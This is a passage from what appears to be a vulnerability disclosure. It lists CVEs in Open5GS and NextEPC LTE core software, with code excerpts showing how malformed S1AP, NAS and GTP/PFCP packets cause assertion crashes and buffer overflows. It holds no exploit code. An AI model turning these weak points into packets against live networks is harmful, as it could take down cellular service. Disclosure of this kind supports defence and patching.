
<p><strong>CVE-2023-37019</strong> (<strong>VULN-F18</strong>):</p>

<p>A malformed packet missing the “Supported TAs” S1AP field will cause Open5GS to crash due to assertion failure.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_s1_setup_request</span><span class="p">(</span><span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">ogs_debug</span><span class="p">(</span><span class="s">"S1SetupRequest"</span><span class="p">);</span>

    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">S1SetupRequest</span><span class="o">-&gt;</span><span class="n">protocolIEs</span><span class="p">.</span><span class="n">list</span><span class="p">.</span><span class="n">count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ie</span> <span class="o">=</span> <span class="n">S1SetupRequest</span><span class="o">-&gt;</span><span class="n">protocolIEs</span><span class="p">.</span><span class="n">list</span><span class="p">.</span><span class="n">array</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
        <span class="k">switch</span> <span class="p">(</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="n">S1AP_ProtocolIE_ID_id_Global_ENB_ID</span><span class="p">:</span>
            <span class="n">Global_ENB_ID</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">Global_ENB_ID</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">S1AP_ProtocolIE_ID_id_SupportedTAs</span><span class="p">:</span>
            <span class="n">SupportedTAs</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">SupportedTAs</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">S1AP_ProtocolIE_ID_id_DefaultPagingDRX</span><span class="p">:</span>
            <span class="n">PagingDRX</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">PagingDRX</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">Global_ENB_ID</span><span class="p">);</span>

    <span class="n">ogs_s1ap_ENB_ID_to_uint32</span><span class="p">(</span><span class="o">&amp;</span><span class="n">Global_ENB_ID</span><span class="o">-&gt;</span><span class="n">eNB_ID</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">enb_id</span><span class="p">);</span>
    <span class="n">ogs_debug</span><span class="p">(</span><span class="s">"    IP[%s] ENB_ID[%d]"</span><span class="p">,</span> <span class="n">OGS_ADDR</span><span class="p">(</span><span class="n">enb</span><span class="o">-&gt;</span><span class="n">sctp</span><span class="p">.</span><span class="n">addr</span><span class="p">,</span> <span class="n">buf</span><span class="p">),</span> <span class="n">enb_id</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">PagingDRX</span><span class="p">)</span>
        <span class="n">ogs_debug</span><span class="p">(</span><span class="s">"    PagingDRX[%ld]"</span><span class="p">,</span> <span class="o">*</span><span class="n">PagingDRX</span><span class="p">);</span>

    <span class="n">mme_enb_set_enb_id</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="n">enb_id</span><span class="p">);</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">SupportedTAs</span><span class="p">);</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37020</strong> (<strong>VULN-F19</strong>):</p>

<p>A malformed “UE Context Release Complete” S1AP packet missing an “MME UE S1AP ID” field will cause Open5GS to crash due as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_ue_context_release_complete</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">OGS_OK</span> <span class="o">==</span>
            <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">));</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37021</strong> (<strong>VULN-F20</strong>):</p>

<p>A malformed “UE Context Modification Failure” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_ue_context_modification_failure</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">OGS_OK</span> <span class="o">==</span>
            <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">));</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37022</strong> (<strong>VULN-F21</strong>):</p>

<p>A malformed “UE Context Release Request” S1AP packet missing a required “MME UE S1AP ID” field causes Open5GS to crash as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_ue_context_release_request</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37023</strong> (<strong>VULN-F22</strong>):</p>

<p>A malformed “Uplink NAS Transport” S1AP packet containing an invalid “ENB UE S1AP ID” field will cause Open5GS to crash due as a result of failure to return an error response.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/s1ap-handler.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_uplink_nas_transport</span><span class="p">(</span>
        <span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">MME_UE_S1AP_ID</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No MME_UE_S1AP_ID"</span><span class="p">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">);</span>
        <span class="n">ogs_expect</span><span class="p">(</span><span class="n">r</span> <span class="o">==</span> <span class="n">OGS_OK</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">r</span> <span class="o">!=</span> <span class="n">OGS_ERROR</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-34235</strong> (<strong>VULN-F23</strong>):</p>

<p>A malformed “Initial UE Message” S1AP packet missing a required “NAS PDU” field causes Open5GS to crash on assertion failure.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_handle_initial_ue_message</span><span class="p">(</span><span class="n">mme_enb_t</span> <span class="o">*</span><span class="n">enb</span><span class="p">,</span> <span class="n">ogs_s1ap_message_t</span> <span class="o">*</span><span class="n">message</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">NAS_PDU</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No NAS_PDU"</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">OGS_OK</span> <span class="o">==</span>
            <span class="n">s1ap_send_error_indication</span><span class="p">(</span><span class="n">enb</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ENB_UE_S1AP_ID</span><span class="p">,</span>
                <span class="n">S1AP_Cause_PR_protocol</span><span class="p">,</span> <span class="n">S1AP_CauseProtocol_semantic_error</span><span class="p">));</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="gtp-protocol-vulnerabilities-1">GTP Protocol Vulnerabilities</h3>

<p><strong>VULN-F28</strong>:</p>

<p>A reachable assertion in Open5GS SGW enables an attacker that has established a PFCP session to crash the server.</p>

<p><code class="language-plaintext highlighter-rouge">lib/pfcp/path.c</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">ogs_pfcp_send_g_pdu</span><span class="p">(</span>
        <span class="n">ogs_pfcp_pdr_t</span> <span class="o">*</span><span class="n">pdr</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">type</span><span class="p">,</span> <span class="n">ogs_pkbuf_t</span> <span class="o">*</span><span class="n">sendbuf</span><span class="p">)</span>
<span class="p">{</span> 
<span class="n">ogs_gtp_node_t</span> <span class="o">*</span><span class="n">gnode</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="n">ogs_pfcp_far_t</span> <span class="o">*</span><span class="n">far</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

    <span class="n">ogs_gtp2_header_t</span> <span class="n">gtp_hdesc</span><span class="p">;</span>
    <span class="n">ogs_gtp2_extension_header_t</span> <span class="n">ext_hdesc</span><span class="p">;</span>

    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">pdr</span><span class="p">);</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">type</span><span class="p">);</span>
    <span class="n">ogs_assert</span><span class="p">(</span><span class="n">sendbuf</span><span class="p">);</span>

    <span class="n">far</span> <span class="o">=</span> <span class="n">pdr</span><span class="o">-&gt;</span><span class="n">far</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">far</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No FAR"</span><span class="p">);</span>
        <span class="n">ogs_pkbuf_free</span><span class="p">(</span><span class="n">sendbuf</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">far</span><span class="o">-&gt;</span><span class="n">dst_if</span> <span class="o">==</span> <span class="n">OGS_PFCP_INTERFACE_UNKNOWN</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_error</span><span class="p">(</span><span class="s">"No Destination Interface"</span><span class="p">);</span>
        <span class="n">ogs_pkbuf_free</span><span class="p">(</span><span class="n">sendbuf</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>VULN-F29</strong>:</p>

<p>A reachable assertion in Open5GS SGW enables an attacker that has established a PFCP session to crash the server.</p>

<p><code class="language-plaintext highlighter-rouge">src/sgwu/gpt-path.c</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">_gtpv1_u_recv_cb</span><span class="p">(</span><span class="kt">short</span> <span class="n">when</span><span class="p">,</span> <span class="n">ogs_socket_t</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">report</span><span class="p">.</span><span class="n">type</span><span class="p">.</span><span class="n">error_indication_report</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">far</span><span class="o">-&gt;</span><span class="n">sess</span><span class="p">);</span>
        <span class="n">sess</span> <span class="o">=</span> <span class="n">SGWU_SESS</span><span class="p">(</span><span class="n">far</span><span class="o">-&gt;</span><span class="n">sess</span><span class="p">);</span>
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">sess</span><span class="p">);</span>

        
        <span class="n">ogs_assert</span><span class="p">(</span><span class="n">OGS_OK</span> <span class="o">==</span>
            <span class="n">sgwu_pfcp_send_session_report_request</span><span class="p">(</span><span class="n">sess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">report</span><span class="p">));</span>
        <span class="c1">// ^ when report send fials, assertion is triggered</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="nextepc-lte">NextEPC (LTE)</h2>

<h3 id="nas-protocol-vulnerabilities-4">NAS Protocol Vulnerabilities</h3>

<p><strong>CVE-2023-36998</strong> (<strong>VULN-E08</strong>):</p>

<p>An S1AP packet containing a NAS message with an oversized Emergency Number List will cause Magma/OAI to crash due to a write buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">mme/lib/nas/nas_ies.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">c_int16_t</span> <span class="nf">nas_decode_emergency_number_list</span><span class="p">(</span><span class="n">nas_emergency_number_list_t</span> <span class="o">*</span><span class="n">emergency_number_list</span><span class="p">,</span> <span class="n">pkbuf_t</span> <span class="o">*</span><span class="n">pkbuf</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">c_uint16_t</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">nas_emergency_number_list_t</span> <span class="o">*</span><span class="n">source</span> <span class="o">=</span> <span class="n">pkbuf</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">;</span>

    <span class="n">emergency_number_list</span><span class="o">-&gt;</span><span class="n">length</span> <span class="o">=</span> <span class="n">source</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">;</span>
    <span class="n">size</span> <span class="o">=</span> <span class="n">emergency_number_list</span><span class="o">-&gt;</span><span class="n">length</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">emergency_number_list</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">);</span>

    <span class="n">d_assert</span><span class="p">(</span><span class="n">pkbuf_header</span><span class="p">(</span><span class="n">pkbuf</span><span class="p">,</span> <span class="o">-</span><span class="n">size</span><span class="p">)</span> <span class="o">==</span> <span class="n">CORE_OK</span><span class="p">,</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="s">"pkbuf_header error"</span><span class="p">);</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">emergency_number_list</span><span class="p">,</span> <span class="n">pkbuf</span><span class="o">-&gt;</span><span class="n">payload</span> <span class="o">-</span> <span class="n">size</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
    <span class="c1">// ^ Received input may exceed emergency number list type, lead to buffer overflow</span>
    
    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-36999</strong> (<strong>VULN-E09</strong>):</p>

<p>A malformed NAS packet IMSI field will cause NextEPC to crash due to a buffer overflow write.</p>

<p><code class="language-plaintext highlighter-rouge">src/mme/nas_conv.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">nas_imsi_to_bcd</span><span class="p">(</span>
    <span class="n">nas_mobile_identity_imsi_t</span> <span class="o">*</span><span class="n">imsi</span><span class="p">,</span> <span class="n">c_uint8_t</span> <span class="n">imsi_len</span><span class="p">,</span> <span class="n">c_int8_t</span> <span class="o">*</span><span class="n">bcd</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">bcd_len</span> <span class="o">=</span> <span class="n">imsi_len</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
    <span class="c1">// ^ imsi_len is determined by NAS packet contents</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">imsi</span><span class="o">-&gt;</span><span class="n">odd_even</span><span class="p">)</span> <span class="cm">/* if bcd length is even */</span>
    <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">bcd</span><span class="p">[</span><span class="n">bcd_len</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0xf</span><span class="p">)</span>
            <span class="n">d_warn</span><span class="p">(</span><span class="s">"Spec warning : bcd[%d] = 0x%x"</span><span class="p">,</span> <span class="n">bcd_len</span><span class="p">,</span> <span class="n">bcd</span><span class="p">[</span><span class="n">bcd_len</span><span class="p">]);</span>
        <span class="p">(</span><span class="n">bcd_len</span><span class="p">)</span><span class="o">--</span><span class="p">;</span> 
    <span class="p">}</span>

    <span class="n">bcd</span><span class="p">[</span><span class="n">bcd_len</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="c1">// ^ Overwrites an arbitrarily-indexed byte with 0, and additionally makes bcd</span>
    <span class="c1">// not null-terminated, leading to read out-of-bounds</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="s1ap-protocol-vulnerabilities-2">S1AP Protocol Vulnerabilities</h3>

<p><strong>CVE-2023-36997</strong> (<strong>VULN-E01</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Initial Context Setup Request</code> S1AP packet will cause NextEPC to crash due to an invalid read.</p>

<p>Note that this is not a null free; this is freeing uninitialized/out of range memory, and it is fundamentally caused by an off-by-one error between two statically-allocated arrays in asn1c.</p>

<p>Erroneous arrays located at:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">lib/s1ap/asn1c/S1AP_ProtocolIE-Field.c:1386</code>: <code class="language-plaintext highlighter-rouge">asn_IOS_S1AP_InitialContextSetupRequestIEs_1_rows[]</code></li>
  <li><code class="language-plaintext highlighter-rouge">lib/s1ap/asn1c/S1AP_ProtocolIE-Field.c:25799</code>: <code class="language-plaintext highlighter-rouge">asn_MBR_S1AP_value_152[]</code></li>
</ul>

<p><strong>CVE-2023-37000</strong> (<strong>VULN-E02</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Handover Command</code> S1AP packet will cause NextEPC to crash due to a buffer overflow due to an off-by-one error in statically-allocated arrays in asn1c.</p>

<p>The value of <code class="language-plaintext highlighter-rouge">elm-&gt;type-&gt;elements</code>, <code class="language-plaintext highlighter-rouge">asn_MBR_S1AP_value_80</code>, has only 8 elements.
Meanwhile, the value of <code class="language-plaintext highlighter-rouge">asn_IOS_S1AP_HandoverCommandIEs_1_rows</code> has 9*4 elements.
The first is missing <code class="language-plaintext highlighter-rouge">asn_VAL_22_S1AP_id_Target_ToSource_TransparentContainer_Secondary</code>, an optional secondary value of the same type as its immediately preceding element.</p>

<p><code class="language-plaintext highlighter-rouge">OPEN_TYPE.c:440</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">inner_value</span> <span class="o">=</span>
    <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="n">memb_ptr2</span>
    <span class="o">+</span> <span class="n">elm</span><span class="o">-&gt;</span><span class="n">type</span><span class="o">-&gt;</span><span class="n">elements</span><span class="p">[</span><span class="n">selected</span><span class="p">.</span><span class="n">presence_index</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">memb_offset</span><span class="p">;</span>
    <span class="c1">// ^ off-by-one buffer overflow occurs when selecting element type here</span>
</code></pre></div></div>

<p><strong>CVE-2024-24438</strong> (<strong>VULN-E03</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Handover Required</code> S1AP packet will cause NextEPC to crash due to a buffer overflow write.</p>

<p><code class="language-plaintext highlighter-rouge">S1AP_ProtocolIE-Field.c:326</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">const</span> <span class="n">asn_ioc_set_t</span> <span class="n">asn_IOS_S1AP_HandoverRequiredIEs_1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
	<span class="p">{</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="n">asn_IOS_S1AP_HandoverRequiredIEs_1_rows</span> <span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">S1AP_ProtocolIE-Field.c:22814</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">asn_TYPE_descriptor_t</span> <span class="n">asn_DEF_S1AP_value_76</span> <span class="o">=</span> <span class="p">{</span>
	<span class="s">"value"</span><span class="p">,</span>
	<span class="s">"value"</span><span class="p">,</span>
	<span class="o">&amp;</span><span class="n">asn_OP_OPEN_TYPE</span><span class="p">,</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (count) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (count) */</span>
	<span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">OPEN_TYPE_constraint</span> <span class="p">},</span>
	<span class="n">asn_MBR_S1AP_value_76</span><span class="p">,</span>
	<span class="mi">13</span><span class="p">,</span>	<span class="cm">/* Elements count */</span> <span class="c1">// BUG: should be 14 elements</span>
	<span class="o">&amp;</span><span class="n">asn_SPC_S1AP_value_specs_76</span>	<span class="cm">/* Additional specs */</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">asn_IOS_S1AP_HandoverRequiredIEs_1_rows</code> contains 14 fields, but its corresponding value struct <code class="language-plaintext highlighter-rouge">asn_MBR_S1AP_value_76</code> contains only 13 due to an error in asn1c compilation. This leads to type confusion in addition to an off-by-one buffer overflow, as the missing type shifts the types of the remaining indices in the struct.</p>

<p><strong>CVE-2024-24439</strong> (<strong>VULN-E04</strong>):</p>

<p><code class="language-plaintext highlighter-rouge">OPEN_TYPE.c:440</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">inner_value</span> <span class="o">=</span>
    <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="n">memb_ptr2</span>
    <span class="o">+</span> <span class="n">elm</span><span class="o">-&gt;</span><span class="n">type</span><span class="o">-&gt;</span><span class="n">elements</span><span class="p">[</span><span class="n">selected</span><span class="p">.</span><span class="n">presence_index</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">memb_offset</span><span class="p">;</span> <span class="c1">// Buffer overflow</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">S1AP_ProtocolIE-Field.c:614</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">const</span> <span class="n">asn_ioc_set_t</span> <span class="n">asn_IOS_S1AP_HandoverRequestIEs_1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
	<span class="p">{</span> <span class="mi">26</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="n">asn_IOS_S1AP_HandoverRequestIEs_1_rows</span> <span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">S1AP_ProtocolIE-Field.c:23479</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="cm">/* Use -fall-defs-global to expose */</span>
<span class="n">asn_TYPE_descriptor_t</span> <span class="n">asn_DEF_S1AP_value_88</span> <span class="o">=</span> <span class="p">{</span>
	<span class="s">"value"</span><span class="p">,</span>
	<span class="s">"value"</span><span class="p">,</span>
	<span class="o">&amp;</span><span class="n">asn_OP_OPEN_TYPE</span><span class="p">,</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No effective tags (count) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (pointer) */</span>
	<span class="mi">0</span><span class="p">,</span>	<span class="cm">/* No tags (count) */</span>
	<span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">OPEN_TYPE_constraint</span> <span class="p">},</span>
	<span class="n">asn_MBR_S1AP_value_88</span><span class="p">,</span>
	<span class="mi">25</span><span class="p">,</span>	<span class="cm">/* Elements count */</span> <span class="c1">// BUG: should have 26 elements, not 25</span>
	<span class="o">&amp;</span><span class="n">asn_SPC_S1AP_value_specs_88</span>	<span class="cm">/* Additional specs */</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The value of <code class="language-plaintext highlighter-rouge">elm-&gt;type-&gt;elements</code>, <code class="language-plaintext highlighter-rouge">asn_MBR_S1AP_value_88</code>, has only 25 elements.
Meanwhile, the value of <code class="language-plaintext highlighter-rouge">asn_IOS_S1AP_HandoverRequestIEs_1_rows</code> has 26*4 elements.
The first is missing <code class="language-plaintext highlighter-rouge">MME-UE-S1AP-ID-2</code>, an optional secondary value of the same type as its immediately preceding element.</p>

<p><strong>CVE-2024-24440</strong> (<strong>VULN-E05</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Bearers-SubjectToStatusTransfer</code> IE within an S1AP packet will cause NextEPC to crash due to a buffer overflow write.</p>

<p><code class="language-plaintext highlighter-rouge">OPEN_TYPE.c:440</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">inner_value</span> <span class="o">=</span>
